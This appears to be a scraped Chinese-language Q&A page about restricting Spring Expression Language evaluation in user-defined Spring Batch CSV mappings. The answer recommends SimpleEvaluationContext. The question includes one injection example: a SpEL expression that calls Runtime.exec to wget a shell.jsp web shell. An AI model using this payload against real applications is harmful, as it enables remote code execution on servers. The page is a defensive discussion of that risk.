Mar*_*ers 4 spring sandbox spring-el
我正在使用 Spring-EL 创建动态 csv 字段到类字段映射,用于不同的 Spring-Batch 导入作业。(不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。
问题在于 Spring-EL 表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
我的问题是,如何在某种沙箱中运行 Spring-EL 或限制仅访问一组特定的方法/类?我找不到与该主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。
我试图实现的目标的示例:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
Run Code Online (Sandbox Code Playgroud)
旨在SimpleEvaluationContext减少应用程序漏洞。
SimpleEvaluationContext旨在仅支持 SpEL 语言语法的子集。它不包括 Java 类型引用、构造函数和 bean 引用。它还要求您显式选择表达式中属性和方法的支持级别。默认情况下,create()静态工厂方法仅启用对属性的读取访问。
编辑:请注意,正如OP对其自己的问题进行评论一样,这可以用于允许通过执行以下操作来调用实例方法:
SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
668 次 |
| 最近记录: |